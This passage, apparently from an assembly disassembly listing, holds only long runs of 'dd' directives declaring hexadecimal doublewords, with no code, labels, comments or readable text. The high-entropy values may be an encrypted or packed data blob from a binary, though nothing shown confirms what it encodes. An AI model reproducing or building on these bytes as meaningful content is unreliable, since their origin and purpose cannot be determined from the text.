		dd 0A8357C8Bh, 887227D6h, 0ACE04F19h, 0DA03FC2Dh, 0DB6F1C4Fh
		dd 4789F4F4h, 69C26130h, 0CADE1051h, 0E0905051h, 96B82954h
		dd 5855C925h, 0E538DE71h, 0B95FC65Ch, 192B049h,	9517E12h
		dd 0E11EF4F5h, 0E13C6205h, 5DA72ADDh, 0C024B94Ah, 2D966851h
		dd 0E05B4E57h, 49167CD3h, 13BB4A8Eh, 0E52FC69h,	0C056A53Fh
		dd 67AA8FF7h, 4F4090F3h, 1627A65Fh, 0F440DA60h,	0B55166D0h
		dd 9A18F60Bh, 576459C8h, 828B372Ah, 5B5274B2h, 7A8C0C5Bh
		dd 0A37A567Dh, 2D561425h, 4E16E9F8h, 7B54B7BBh,	0D1E7362Dh
		dd 0C6EA5B8Fh, 175496DFh, 3789E3E9h, 72B983CFh,	44CACD0Eh
		dd 654EEF58h, 0AAFD0986h, 1A06809h, 6F091646h, 75FCB03h
		dd 8E93C477h, 4CE1B04Eh, 47913062h, 29354A18h, 104A0558h
		dd 0B24BE471h, 0A5CBDFE7h, 8BB3D5A1h, 7AF544D1h, 0A8F80534h
		dd 0E545D3DFh, 47603EA6h, 1274069Ch, 64EB2966h,	70A1F856h
		dd 1E156812h, 805896B4h, 0CB0ABE56h, 9B32B772h,	488D3902h
		dd 0BE4178CDh, 0C5E98541h, 5DE230BAh, 6962AC68h, 0CB6FB4Dh
		dd 0F44475BAh, 9D63FAE1h, 5EF1A28h, 0FFE8664Ch,	411ECB14h
		dd 0F2C7E08h, 9DBB4EB8h, 6ADAEC73h, 0ED093D9Ah,	7ABA5203h
		dd 22D0BA50h, 0E0778D9Fh, 6853D161h, 5B884B3Fh,	5C13C43Ah
		dd 0CC1661BFh, 0F301014Fh, 0EFA74EDDh, 0FB96DCDEh, 3794A1EDh
		dd 0B51EFC4Fh, 0F9058DE6h, 0DD22D468h, 91022354h, 0D862107Dh
		dd 0ECD56816h, 93035297h, 0A81913ACh, 0DCEBFB07h, 469A9346h
		dd 24315D09h, 0AB28C047h, 0E99016CEh, 0B45AF889h, 0C3755CBEh
		dd 23BD7CC9h, 6021232h,	3F97FC03h, 0CE518E01h, 502BE90Dh
		dd 49D6BD9Eh, 8102E272h, 16728BCDh, 0C60603Eh, 39A52D17h
		dd 75461940h, 8C71CDDAh, 0CD0CCF3h, 291E9172h, 0CA29E992h
		dd 16BCF77Ah, 5DF79010h, 657F463h, 0F0E34702h, 7F0F7844h
		dd 0C87F74C4h, 62647D27h, 89779EDh, 531360B0h, 0FB00DAB8h
		dd 816E452Ch, 6114DCC9h, 20F9285Eh, 6F211E6Ch, 845A3A1Ch
		dd 0C6C4AECCh, 3CAD8BFFh, 393E58B2h, 16C282C9h,	55FCB1E9h
		dd 0B3A38096h, 15BA67F8h, 981B80h, 9B05EA45h, 1366078h
		dd 646F058h, 0ADA377Bh,	1C7C0ED0h, 3D729AAh, 771659F3h
		dd 2364F3E0h, 0DDD5F65Eh, 0D290D6FDh, 0E3E06620h, 0D6B12B9Fh
		dd 8D4242E4h, 0F1520009h, 95AEFDFAh, 564B6850h,	49D377F7h
		dd 9910FECCh, 0BA804E33h, 0F7560994h, 0B7814A79h, 7FC53A6Ch
		dd 4ECB8A80h, 0C14B04C9h, 0FA4706E7h, 7C48D6D0h, 0EC2A40E6h
		dd 762E1513h, 7EA11F09h, 0F550CEBCh, 0F784B0F8h, 0A7CBEF9Ch
		dd 0E275C19Ah, 0A64CDDB0h, 8BD7CA2Ah, 15B0E706h, 3E9A3AD9h
		dd 0CD2DEB84h, 84BD356h, 0EAA0B0E0h, 0F33BF51Ch, 59DCBD01h
		dd 9C35033Fh, 0B219102Ah, 0D27B0D04h, 0AF86C32Ah, 0B9D9A93Fh
		dd 1264DD20h, 230B39F2h, 33678625h, 88C32512h, 3A3F8C61h
		dd 0ED816F1Fh, 8E5C0FFh, 80ACB6ECh, 4CB45F5Bh, 430496Fh
		dd 0BBD44D34h, 0D35881FFh, 0C57E7869h, 0E8A34461h, 3E124901h
		dd 894DBE6Bh, 59D6310Bh, 0EC380812h, 0F6CBCB9Dh, 58E6EA8h
		dd 0A3FD442Dh, 4A89AE2Bh, 4FA1BD41h, 5804E33Bh,	0B56D20BCh
		dd 7BBD8170h, 3BD5E90Dh, 0BEDC20D1h, 0AAD1F728h, 0FB807B40h
		dd 6E2AC12Ah, 0FA603FEEh, 3B284E3Ch, 541017Ch, 8B28108h
		dd 7B647EB6h, 0FE640AEh, 1748735h, 80E86C4Bh, 5D250CD0h
		dd 405A37FEh, 286F572Fh, 5C9C2BC0h, 0BC8094EAh,	3179D8D0h
		dd 0B5085095h, 3886FD2Ch, 97A9EB52h, 8DDC1FBBh,	3BD163A2h
		dd 0BBE69F04h, 0ADD7C8A9h, 11EE88F6h, 3EA04F34h, 376600BEh
		dd 0E68148FAh, 512F6429h, 8592024Eh, 28B075AEh,	59B3507Ah
		dd 84DF539Eh, 7AC01BA4h, 9F23931Bh, 0C20C49FAh,	0ACDC6CE9h
		dd 15A17D3h, 0C7F1B2DAh, 201BFEE9h, 0DA33790Bh,	1C584C37h
		dd 0B9627401h, 70F8296Eh, 3ABE7DF6h, 14FF0449h,	4A213CB0h
		dd 8908A9C1h, 77356249h, 0A4BF5BC5h, 83BD3A0Fh,	4F679BCEh
		dd 9DF6B07Eh, 5AF7EDEFh, 0BB8603B8h, 4D228E4h, 0D0082BC6h
		dd 576FC7Ch, 7542F1Eh, 0A9E9D88Ah, 0AF7C8C29h, 58E1300Bh
		dd 8DEE6707h, 0B9FE295Bh, 0F352BF0Bh, 5C93BD65h, 2129BA61h
		dd 259D68BAh, 0D3018D98h, 5A080084h, 0C25E950h,	278E14D5h
		dd 9A71F6DEh, 7B41E501h, 0C5D87372h, 0FDA50903h, 0F1A018Ch
		dd 5ACAC657h, 65FFB359h, 32BDED4Ch, 0A372C9DEh,	0F7B09E44h
		dd 59991E20h, 0B04B585Bh, 139F5831h, 61614B6Ch,	4900DE5h
		dd 0D3691182h, 2E9DA4ABh, 10D7ACF3h, 0CFBD07CAh, 5D0B465Bh
		dd 2FF56C90h, 521A6210h, 0A3C62403h, 425A01ADh,	9777ABB2h
		dd 7CF8DCD2h, 0FA68F4A8h, 0BA316B4Fh, 5F00D807h, 28143005h
		dd 28DE616Dh, 5E5A072Dh, 0A8CDAE88h, 0BDD021E8h, 2C3F2BF3h
		dd 0BF8062BCh, 17184F29h, 0D8FA5C89h, 247DE831h, 0B43C132Bh
		dd 81B4AEBCh, 89FDB20Bh, 59125F31h, 4A778886h, 11169A28h
		dd 9E04FA63h, 0F8175015h, 68444E97h, 0EE53D2D0h, 1679CE4Eh
		dd 2F431EABh, 0D16B8059h, 4BF1A09Fh, 344527CBh,	0EE4183E5h
		dd 82AA8348h, 68A71D84h, 174D1EB8h, 0BB522D49h,	0F504A624h
		dd 0B9E58C72h, 2575FA4h, 5BDF87FBh, 0A496DD61h,	632C57ABh
		dd 86F3310Fh, 299079Ch,	7D46E3EBh, 657D5E38h, 2DCC20EEh
		dd 5EDA1019h, 0E24E250Bh, 86A05F65h, 7165774h, 0B28ECEDh
		dd 2644183Fh, 0F81748DAh, 0D9D829FBh, 53919C90h, 76F5BB87h
		dd 0E43E169h, 0D96E6135h, 0C6584170h, 62BF004Ch, 8CA2E48h
		dd 8005147Dh, 9580C967h, 0BC0EEB2h, 0E04EB652h,	0BCC097F4h
		dd 7B59E9CDh, 0DB040B4Ah, 582F5E59h, 0A4B6768h,	0C89882ADh
		dd 0B8809D9Ch, 0B720129h, 3E0C107h, 45AD025h, 0D5201390h
		dd 0BD509F51h, 499C6819h, 167AFAF1h, 1075DB2Ch,	0EE58CD56h
		dd 9F2F101h, 0C6497F96h, 7D8B980h, 0C12842CFh, 0F201B4E2h
		dd 716D41D0h, 0E425B0E9h, 149F9B3Ah, 2F726852h,	976A415Ah
		dd 0FF5D177Fh, 8B3FBE29h, 18E6283Eh, 97E31EA1h,	35575EB1h
		dd 86483BE6h, 2FC3984Fh, 59B7E99Ah, 0C3E9E2B0h,	0D00797F8h
		dd 0C7F780E7h, 17514E3Eh, 7C90B51Fh, 0F2CAFE17h, 96523E04h
		dd 0D5CDE1A6h, 1774C92Ch, 0F263E068h, 0C73B166Ah, 0E07B73C9h
		dd 4001CDA3h, 4729980Ch, 0BD305824h, 2A6341A1h,	0DB8E48C7h
		dd 0AEC9B003h, 9F33D01h, 4EDF7E92h, 9E49B726h, 0DCB1B07Fh
		dd 0A43CB9B4h, 9D715A05h, 0D0EF18B5h, 8A99E95Ah, 9F17C49Dh
		dd 68132A70h, 6C34057Eh, 35E9D620h, 31929F5Bh, 0C46F47C1h
		dd 609D6282h, 5C3040D9h, 2B0F6965h, 16932A58h, 96540512h
		dd 0D226AA7Eh, 0BCB90B90h, 0A483DCEAh, 0A150A4E9h, 0EF5A07FEh
		dd 8A9F93ACh, 82894841h, 0D144BEF3h, 0DD4751E0h, 3A6789A9h
		dd 0B3532B81h, 0D879EADBh, 0FDBE5E09h, 0AA84EA5h, 0E6202925h
		dd 40746B2Fh, 0C6C031B0h, 449D11E6h, 5F26F046h,	0DEFCF28Bh
		dd 4BC9C11Fh, 3E9C5F9Ah, 7F95629Dh, 90971416h, 4AC26899h
		dd 0A4A1F819h, 0EFE2AC2h, 0AF330417h, 195F8A48h, 592C4C29h
		dd 601BD38h, 0E92E900Fh, 1D697CB5h, 3FCBEF88h, 0AA96F5B6h
		dd 0A34EABFAh, 0D4F9C641h, 9C2C6A14h, 17ACBD4Ah, 859DD3DFh
		dd 6A76E67Bh, 30098407h, 0B7B3C4B5h, 0C8FE42CCh, 0BA1EB260h
		dd 4CB96AADh, 0D4062357h, 824FE855h, 0DD232B01h, 848E91Dh
		dd 7865F23Bh, 0D378122Fh, 2FE64B22h, 936F0748h,	0BAB599D7h
		dd 59D90CB1h, 51AAB07Fh
		dd 13E3B13Bh, 0DA0304E1h, 10CE309Bh, 137E216Ah,	6D08028Fh
		dd 0FD311646h, 4B8200BCh, 0D8F77BBDh, 57240h, 297E0C9Dh
		dd 0D185E9C3h, 0C36AEA9Dh, 0C90C595Ah, 78C6489h, 108B835Ah
		dd 2ECB9374h, 5A033A5Dh, 0E112E8C1h, 412BE0FBh,	274137A8h
		dd 438480B2h, 93074B0Ah, 4D373F7h, 9D697105h, 27DAC5Fh
		dd 2B68EE29h, 61E8DC5Bh, 92525F2Dh, 0A908C61Eh,	0D37E25E5h
		dd 1A4CD611h, 0FFC62125h, 6CBA5B4Ah, 3D30E917h,	0C7C1A79Fh
		dd 21183A06h, 0C53F62EFh, 142EA333h, 0D04EDDDCh, 0BCDEB8Ah
		dd 1320FA2Eh, 8025C34h,	5BD8215Fh, 9FF71B01h, 9BE504Ah
		dd 1BD55F58h, 0B94E19Dh, 88599087h, 3F01B65Ch, 919C5B4Eh
		dd 0C6692FE9h, 24A25051h, 0C7F5D38Ah, 0A60CB46Fh, 7EE1103Fh
		dd 200A682Ah, 5C27B5CDh, 8CA7A231h, 9211CC45h, 9C2397D3h
		dd 0E12DC434h, 8E6E2AC2h, 0D80D1702h, 0F899631Ah, 4C6F9F16h
		dd 5101CB09h, 33575DB9h, 0BBA12A61h, 54025ED9h,	90081D5Bh
		dd 0E5C10C4Ah, 121DC5BEh, 7FFB0267h, 4320EAB5h,	0F6D3BA84h
		dd 0FF281715h, 8B202C4Fh, 5A1EA09Ah, 1D83CF81h,	836B927Dh
		dd 0C66F7BF7h, 5C83C6B5h, 1BFEC701h, 0FA31E261h, 0C0032F30h
		dd 0DECC2CDh, 1761EBFh,	1302949Fh, 0E808ED68h, 7152DE3Eh
		dd 0FDDFB10h, 0EDC31BEh, 6587A235h, 6EEB7598h, 3240549Ah
		dd 83A029ADh, 0EDA66708h, 0E1B27C95h, 3A80A2E9h, 405B83CCh
		dd 3D2A686Dh, 0E9124101h, 914C53F1h, 4FE31014h,	8968A97Bh
		dd 9935C29h, 0A1F1D388h, 561E0C81h, 43F85808h, 552597D4h
		dd 0E0C653D1h, 61E5DA95h, 0F9B230AEh, 25A2EE97h, 0CE12924Ah
		dd 3FB0AF41h, 37E9AB16h, 0DE5FC2E4h, 91EB9871h,	0F56056F5h
		dd 6B018190h, 5309708Bh, 0FEA586E9h, 5A3DF905h,	0E4541EC7h
		dd 755F5407h, 58CCD21Fh, 0D65CD57h, 6A24440Bh, 67A0DCC4h
		dd 1B5B059h, 154203C9h,	0E602E6C1h, 0D954B8A9h,	5371770Eh
		dd 76BA9205h, 0C3FE6F4h, 423DCC78h, 8803FB40h, 0BBE9A348h
		dd 0C72526BAh, 0F9DA0BB6h, 29D986F7h, 0B8CC2EB6h, 11E44E23h
		dd 0C47CB8B0h, 4D0F078Eh, 34DD92DCh, 10C88324h,	7A683609h
		dd 5D543126h, 8DE059CEh, 3A1102B8h, 732FF204h, 0C94A31BBh
		dd 0B8B05CDh, 0F7870E48h, 6A6831E9h, 0B2AF304Ah, 90EF0180h
		dd 425603FBh, 0CF2917EDh, 0B8D04FFh, 0E4875566h, 0AA505404h
		dd 4F41F9C9h, 5F02434Eh, 0E0171441h, 290A1B69h,	8BA52DEh
		dd 61E2D696h, 57DEE985h, 0A172ACEEh, 0E23BECA1h, 7D055AB3h
		dd 53CDEE4Dh, 100CCB3Fh, 4E3E467Dh, 2C9BF602h, 0F680285Eh
		dd 302A2496h, 48F7013Dh, 208B573h, 0BFCB8195h, 646DE042h
		dd 8940A60h, 6E06C69Fh,	0B0C6129h, 7D590336h, 9681905Eh
		dd 896EDFF4h, 61BD5500h, 1422091Fh, 3D87CDC0h, 2FE96D2Dh
		dd 9AEABB44h, 432659F6h, 5505F010h, 0CD456C68h,	59D020DAh
		dd 0D81D223Dh, 1AF60166h, 64E97E3Bh, 0D36F2A35h, 7E78B43h
		dd 104CB60Ch, 0CA444F8h, 5C9A181h, 201787ACh, 6C9A99C3h
		dd 9D861054h, 8B5E661Ch, 0A0EDE21h, 202FB9EFh, 0D7C98167h
		dd 0C183E334h, 8E82879h, 0CDFFAE3h, 7ECA130Bh, 0CE29040Dh
		dd 0BCBE0CE9h, 63ADC4C2h, 0A43F9099h, 0EF4EC1C6h, 0A20F56ACh
		dd 965F35B7h, 3A61A1B1h, 9BB89D8h, 56F7656h, 0C8F3B705h
		dd 0BD1EDB66h, 0FDD217FBh, 0E154AAC2h, 307F5B99h, 3A06879h
		dd 0C1A45B99h, 0E0F2A417h, 90C35F50h, 0B0A4CD7h, 0C916AC3Eh
		dd 4D12EF13h, 9A1B4C0Fh, 0D68C77ACh, 5A80D684h,	0C8104C34h
		dd 9584620h, 4F90101Eh,	5A49BB01h, 0EC4B623Ah, 0B5A854ECh
		dd 0CC90F1F7h, 5C514227h, 414DEE8Ah, 5C48969Bh,	0C1EB74AFh
		dd 3AFDFB53h, 9512FD24h, 93B4C5ECh, 212F5A7Fh, 2823D859h
		dd 2030C5D4h, 0E2C5F7BDh, 6EF4ED82h, 0C6510A95h, 0CE4766h
		dd 3470BE03h, 0BA4B4BE9h, 112162A6h, 7EB9401Ah,	9089ADB7h
		dd 53BAAADFh, 623006A8h, 0B5C369D1h, 3CA732C2h,	2101D316h
		dd 78698BF9h, 0FA80E9C4h, 42A98F17h, 77051A9Fh,	615DC077h
		dd 36960C77h, 310B65B9h, 0D0E9C109h, 414830F0h,	0F7982B9h
		dd 4F49ABA0h, 91598991h, 0D12B7C50h, 6041C5D4h,	63970929h
		dd 1EA7421h, 6A657C1Eh,	6A8923E9h, 7C6724A2h, 0BF48B603h
		dd 811400BFh, 260B35CEh, 3F5D7358h, 0E3F18A8Bh,	0DBB9DEC0h
		dd 0C7F56F2Eh, 9B145725h, 14B0D15Ch, 846962AEh,	0AC19A096h
		dd 894D6540h, 84D2F7A0h, 66094BE2h, 0EDCEED2Dh,	0F4C86A1Ch
		dd 9DAE70D2h, 78F79CF0h, 86CBA142h, 7CC5BF00h, 5E383027h
		dd 26E0B136h, 0C88003F6h, 98B65201h, 5AF12DBFh,	0B26508F0h
		dd 37EA6A84h, 0DC2193D4h, 3C23705h, 1B8ED588h, 91E11C1Bh
		dd 45E3F1B7h, 0E9827E01h, 5CC2CA30h, 0BE68F0F2h, 57198B93h
		dd 0D5745948h, 0CC6D4BA4h, 649E28DAh, 385EE24Eh, 42AAE27Eh
		dd 55080911h, 0AF12970Dh, 88D5602Dh, 56C1C902h,	568428Ch
		dd 66756E5Bh, 0A4E93484h, 5B8BB660h, 0E91513CEh, 96918D55h
		dd 0D81005B3h, 21BC5E99h, 17532C64h, 7CFC41EBh,	0DB22CC70h
		dd 713F1CFh, 3BC1D15Ah,	0E5C06707h, 39B55499h, 0E8E6ED96h
		dd 0F8201701h, 680BBECBh, 0CED91B1Dh, 0C806348Ah, 96978396h
		dd 7EFB3B62h, 0D55C691Fh, 62516850h, 0B0AC3B07h, 0C0B70F01h
		dd 0CD6B57F5h, 0FFE2E2C5h, 3B261857h, 0F41CBD82h, 7620B902h
		dd 40317FCBh, 0C1EB6305h, 52C7F52Bh, 0DEA02AFEh, 0FB1002BEh
		dd 58C5297Dh, 0F56FE85Dh, 66111828h, 4D512469h,	0F76B7F07h
		dd 22212DD8h, 4CD430A0h, 0ABA096Fh, 0AC02E883h,	0BA7DC2C3h
		dd 3253761Fh, 0A5C15D0Ah, 46FA0545h, 97D68273h,	0FFBDEE4Bh
		dd 0CF73277Bh, 9D607AE8h, 95C9D13Dh, 92FE350h, 41BE0F5Ch
		dd 390DF42Dh, 0B40B4894h, 0F53E9182h, 0D7CF1Ah,	0B06EEF80h
		dd 89E91869h, 0F9F78FBDh, 3973F114h, 189725B2h,	316850F1h
		dd 3855237Ah, 0D1F701A0h, 0DE2363Fh, 20C495D4h,	0DB6812BAh
		dd 50B53115h, 2610E857h, 5F417A14h, 92EC5E8Ch, 0E8980801h
		dd 0F1F88905h, 4BF76C50h, 2DE9CDF4h, 2674DA27h,	0C1186BEFh
		dd 0AC305CFDh, 0DCC6BF0Ah, 0D4455369h, 0AD22A603h, 9BA1B5E8h
		dd 72885280h, 0ACF55BC6h, 94EF2561h, 2AD89D56h,	5A978E54h
		dd 39ED832Ch, 7F4E864Fh, 4837E2EDh, 0C1128356h,	555428CEh
		dd 415BCFF8h, 3E6DB620h, 0ABF1ED7Ah, 0AAC77FD9h, 4817C80Eh
		dd 2CC11235h, 0F88309DBh, 5749B120h, 41F44CBFh,	502B1A49h
		dd 0E05B0F6h, 6FE90266h, 0E22B30F1h, 7F688233h,	3A4DDF5Fh
		dd 0E92606A2h, 0DEAD8858h, 9568780Bh, 29CC3C5Ah, 0A0CD5CBFh
		dd 685650C0h, 593F4266h, 6E749364h, 798610F4h, 41D5EC5h
		dd 0CEFC2C31h, 40783CF3h, 927DEC58h, 0EE313986h, 0AB08F534h
		dd 84B8C313h, 2C41884h,	7D4BDA68h, 0BD25D9EEh, 4FA5641h
		dd 0F832EE68h, 0C0F4C4A4h, 0DCE00012h, 4A2D2175h, 42DAF71Fh
		dd 7D6B5DCCh, 3F5397CFh, 0F6A2B209h, 0A1575ADEh, 120D68EBh
		dd 0BF013555h, 629B036Eh, 8035C92Fh, 4460C39Ch,	90EB090Ch
		dd 9DCF5E02h, 209B80Eh,	735DDF05h, 388F712h, 0B4591207h
		dd 1A5B2C32h, 49F3EB0Dh, 0DFBCF23Ah, 1E3C71CDh,	10ACF67Eh
		dd 881D6C32h, 0B453D3E2h, 6D637FC3h, 4AFACB8Bh,	0A205FB9Fh
		dd 91AEC681h, 385BE956h, 504B582Ah, 78107774h, 10447E2h
		dd 0C0238046h, 0E04CC1B3h, 257AEDFFh, 79F27B36h, 799AE8D3h
		dd 0FC6FE80h, 805FB151h
		dd 0C92D7C7Fh, 7EF4B389h, 12413E1Dh, 0C1307934h, 0CED158E9h
		dd 0A9122C3Fh, 0EDEC9A41h, 1F1B1636h, 0A3030725h, 6D8B1972h
		dd 2BF2025Fh, 596601C1h, 4DA12E88h, 756A46F9h, 0E353ABCEh
		dd 5A26ABA9h, 12C980B6h, 60BA20EBh, 0FB68FC02h,	4B5EF201h
		dd 7511A0E3h, 0C5EA0481h, 0AA422752h, 2608E250h, 8410F85Fh
		dd 1C1EFC4Fh, 32FB1AE6h, 0D10645h, 7075E9E4h, 85413DB4h
		dd 0F32F64E2h, 25F29363h, 0E6C988C5h, 20DD48E2h, 4BD4FE32h
		dd 0E1108977h, 5B1D24E3h, 3B4D92A0h, 2E627AB4h,	77450F67h
		dd 6BEAE728h, 70AEFE7Ch, 2584BE56h, 0FA8919E9h,	7B9595F0h
		dd 0E644A75Ah, 0B450C3C0h, 0C6E68863h, 878AE96Bh, 4C3C31BEh
		dd 13A84A44h, 351011A2h, 0E300824Fh, 0BB22553h,	6B87295Eh
		dd 1F7DB910h, 31752F06h, 845D8BA4h, 2D0C1E19h, 0F7970CD6h
		dd 0A945B4E1h, 0C17074EEh, 4B7CB02h, 0ADE283BBh, 76E236C9h
		dd 7FAB806Bh, 0FBE93633h, 0BACE003Bh, 55120FD6h, 8CDC2169h
		dd 818212DFh, 846F79F8h, 0E4128195h, 0F5F45110h, 0BE317F4Eh
		dd 2901AB59h, 2E4731D3h, 0E8AC0D53h, 0DF68E24Eh, 62D6CA25h
		dd 0A8E2561Bh, 0A6F04E56h, 7E751607h, 97C039ACh, 0E93C2E3Ah
		dd 98B89427h, 4EEB8883h, 6F96C78Ah, 0BEE90878h,	77C1D76Bh
		dd 0C581BC30h, 6148EA97h, 0C3A8DBA0h, 0CE0126D2h, 6102CBD5h
		dd 89D46725h, 0DB17C55Bh, 0BBE96D80h, 4B129E63h, 0D27DEB49h
		dd 0E0519B74h, 0AC4B856Dh, 0E9E95B89h, 0E263F85Bh, 0EACFD8ABh
		dd 24395DB5h, 9926454Bh, 20E9D9CEh, 2EF9B97Ah, 2D7EE08Eh
		dd 0D69C8DD3h, 0A0F7D6FDh, 6294EA74h, 0BC524BDAh, 0E22473A2h
		dd 0D513D808h, 0B6C0F7E8h, 16B6819h, 3786DF58h,	0A6629FA8h
		dd 0F2879B4Ch, 0BEFC48FEh, 1D6C13A4h, 12CDAD26h, 358D643Eh
		dd 21ACA76Fh, 0FF361AA3h, 2C266FDAh, 2053A7FAh,	0BD049D7Ah
		dd 0AC6251Bh, 0C52CA4AFh, 68D9A19Dh, 212E093Bh,	2D9D681h
		dd 0E89285ACh, 0BCE3A037h, 0A26960CBh, 3A5F79A0h, 8008589Fh
		dd 4814E907h, 0BDEDE6Ch, 0D21063E7h, 7A2D230Ah,	6121C22Eh
		dd 0E6D0A861h, 3F05E248h, 0D42F19E7h, 0EEE6B9D8h, 10A41BB7h
		dd 13F227EAh, 8463595Ah, 0B35398B5h, 0D5E92F9Eh, 2A855563h
		dd 44A2B001h, 9E061812h, 8CA80880h, 80356780h, 117C90DAh
		dd 31CE2D20h, 56189F8Bh, 0CC088C5Dh, 40F918E5h,	8140A71Fh
		dd 1729C43Ah, 34D81D4Ch, 806C0A08h, 2807204h, 1640C4B2h
		dd 7735065Ah, 0F6E63110h, 88431708h, 88B3718h, 0B5187CE7h
		dd 0CEAE2061h, 838AC10h, 18C62232h, 62C1914Ah, 0A0310878h
		dd 737D9C03h, 14624028h, 6CAB8640h, 9DF9919Ah, 83083162h
		dd 6E050317h, 40B4D131h, 888E387h, 58159765h, 5A571094h
		dd 8E3843Eh, 38192C45h,	8F089344h, 739A02F6h, 3857702h
		dd 813108CBh, 796C38FCh, 956FB301h, 10989010h, 0F91857A7h
		dd 8B9508D2h, 52C718C6h, 0EB4D3108h, 95DEB318h,	10CC4408h
		dd 3C108E1Ch, 0E60A195Fh, 79882C20h, 170C753Eh,	40ED0853h
		dd 41C64CD1h, 20106319h, 93209DCFh, 0B68631C8h,	882B8E08h
		dd 1FDC7D18h, 6F206074h, 0D3EE2056h, 100DC831h,	8801E871h
		dd 89250196h, 6CD60888h, 183A3408h, 4CCC4129h, 801EEE80h
		dd 37808BACh, 3C08C97Ah, 44506025h, 69853DCh, 202096A0h
		dd 5E20335Dh, 720B319Bh, 32A5B18h, 0EA49106Eh, 0E4372A23h
		dd 0E1E98A62h, 26A0271h, 829EC0Fh, 18A76651h, 0A8332959h
		dd 187AE118h, 18CC9008h, 8C6C907h, 54189956h, 406FD068h
		dd 0F7632875h, 2ADD1B10h, 20CCF608h, 76205093h,	0A84C20BDh
		dd 8CB0431h, 5102C3FBh,	6A9AA8A3h, 5CDB0824h, 10C7ED8Ch
		dd 0F13F4147h, 0AF950192h, 19A08190h, 21085C34h, 44D91992h
		dd 0A7C0304h, 2F8CF48Eh, 63CD08C0h, 57FF3048h, 0E9B00812h
		dd 98F18C58h, 0C6C49290h, 10600219h, 19F18E62h,	642503E6h
		dd 51B61018h, 0C4A4BF08h, 4100918h, 0B7091FEAh,	86240822h
		dd 493BBE02h, 79017118h, 1AA90358h, 7145D931h, 248F1049h
		dd 586241C0h, 2159710h,	0E503D03Bh, 8D592065h, 9979AB32h
		dd 0FD710395h, 790E149h, 0E8FC9C60h, 457F109h, 0D34AF5EFh
		dd 23C7C793h, 1000480Dh, 752C473Bh, 6313EB02h, 0A7B90E89h
		dd 5003D7Ah, 408F4401h,	0BC90B49h, 748BF775h, 0DE81AF0Eh
		dd 2EB9F003h, 0C033EE47h, 4FB10F80h, 0AC2CC030h, 6EE99204h
		dd 2DA2FA4Ah, 2CDE312Ch, 692D00E6h, 0A4E9E43Ah,	57484662h
		dd 5F288BBFh, 51350A80h, 785B9FA6h, 5672F9F1h, 68794196h
		dd 747DF95Bh, 317772D7h, 162D11B8h, 0A5AB73E1h,	0AB08C9D9h
		dd 685A02FFh, 2D747C71h, 8580C967h, 6152E936h, 0FE2D9634h
		dd 0DD62E560h, 0A8A23AC3h, 5339EBC0h, 22C541FBh, 0A74B3FE9h
		dd 0D4105789h, 4EC0215Eh, 6058AABEh, 6746F46Fh,	62541447h
		dd 0B7D66ECBh, 0C3CCFF96h, 0B9510250h, 463E4372h, 0E9043E74h
		dd 0F4F4F2DDh, 0CCA62BBh, 238BC268h, 539F10FEh,	964209FDh
		dd 77A37F10h, 784F25BDh, 0BC2BE329h, 176882A3h,	7DE65D26h
		dd 222388C1h, 253B3F82h, 9A8EEED8h, 39511440h, 5892D189h
		dd 7D16D859h, 0B82EDD60h, 1C35B23h, 79FD355Ch, 0E32D576Dh
		dd 0E8706BB9h, 0E127533Bh, 0A6DD016h, 725C41DBh, 0B56878C6h
		dd 1CA8444Fh, 0CCD301B4h, 3B516E0Bh, 80488B5h, 21FF8BFBh
		dd 2458281Ch, 16965101h, 6884D8C3h, 0A547EB2Dh,	0AB0B1A80h
		dd 1EFED64Dh, 0A8E5092Ah, 40F76C62h, 0CE6521DEh, 0C6E4D926h
		dd 1561AFF9h, 4D8C0952h, 0E5B71242h, 0A77FD13h,	7200E385h
		dd 87E93D6Ah, 0B422C7D0h, 0EB6C7E22h, 0C3A684Dh, 5EEE4A5Ah
		dd 98235ACDh, 5127A4FEh, 22E96285h, 67BFE4D0h, 438018F7h
		dd 5D18EA89h, 6458CA29h, 7D48BFB3h, 59627C04h, 0C7AEF16h
		dd 15E34038h, 48B48244h, 907F5B0Bh, 3FEFC1E0h, 0EE904704h
		dd 702925C7h, 747C0280h, 0D687679Ch, 997E60F7h,	5FEF3083h
		dd 0A27958A6h, 0BCE5154Fh, 0B8210805h, 84C370D1h, 12FF8AABh
		dd 84B91C89h, 4E4CE9A0h, 0F15A0AC9h, 1418BE77h,	685818D6h
		dd 46104F27h, 0DB5624B0h, 0F00162A0h, 0EF37764Eh, 6D52FA44h
		dd 838ADCFDh, 25371A82h, 4DE5DC1Dh, 14006792h, 5D195BB2h
		dd 1080E349h, 0C8E5A84Ah, 5967CF09h, 1FF7CA2Eh,	16AB522Bh
		dd 0FA7342FBh, 28A1B301h, 3DEC647Dh, 49EB9145h,	0FAF349C3h
		dd 569CEABCh, 25683A52h, 0C4C8AB2Fh, 5527E956h,	0F4FE82Fh
		dd 768C3D4Ah, 2D6C9290h, 4C53B159h, 0E16B0B25h,	55323B22h
		dd 0BA816851h, 0E61D1414h, 3702F313h, 56576355h, 4972AB81h
		dd 0EC287E6Bh, 5EF22531h, 22C0EADEh, 1670B560h,	0ADE9D629h
		dd 535C00DCh, 4EEDBE56h, 0E1A48ECh, 13B11404h, 4B70ACE5h
		dd 680C0FB8h, 9D9B3DB7h, 39804140h, 0EF9E4ACFh,	278DDD2Fh
		dd 7CC98679h, 97FF485Dh, 29A7F083h, 0A98A7FEDh,	5A7EA34Ah
		dd 38F6BA4h, 68487467h,	87136305h, 5520EAC3h, 5A9C1D8Ch
		dd 0D65CD2B3h, 70154745h, 98A04FEEh, 60BD3805h,	0D814A858h
		dd 0EE7C072Dh, 44B83A22h, 0E230578Bh, 0BFAE1E02h, 43C68001h
		dd 0F673F6CCh, 7A5E4117h, 5FC13E82h, 6E72E118h,	46716D05h
		dd 90BFE6D1h, 0D45CA1A8h, 0A6E95D09h, 0D132A53Fh, 0CB78C6EEh
		dd 1F29ED48h, 0EED302F2h, 0A1E4AADDh, 6A3C2518h, 80308DDh
		dd 0E9267720h, 309D7426h, 9E5F903Bh, 4D18F24Ch,	97C34990h
		dd 3B361313h, 0EB730AFEh
		dd 24283708h, 0F83BD537h, 0E0332F0Ch, 261A2D55h, 5F1F96Ch
		dd 4D75CB8h, 5FA7D83h, 88BAEB83h, 0F5409CE8h, 84000BFh
		dd 0CF812CB7h, 31D50EAh, 0F7C04701h, 43D7285Eh,	0E1B125E9h
		dd 0FC061677h, 55DCAA88h, 690C271h, 14DCBD03h, 3CD30E59h
		dd 0F180730Fh, 8AD009D8h, 8249E6C2h, 0E44DF0FBh, 0B5A92001h
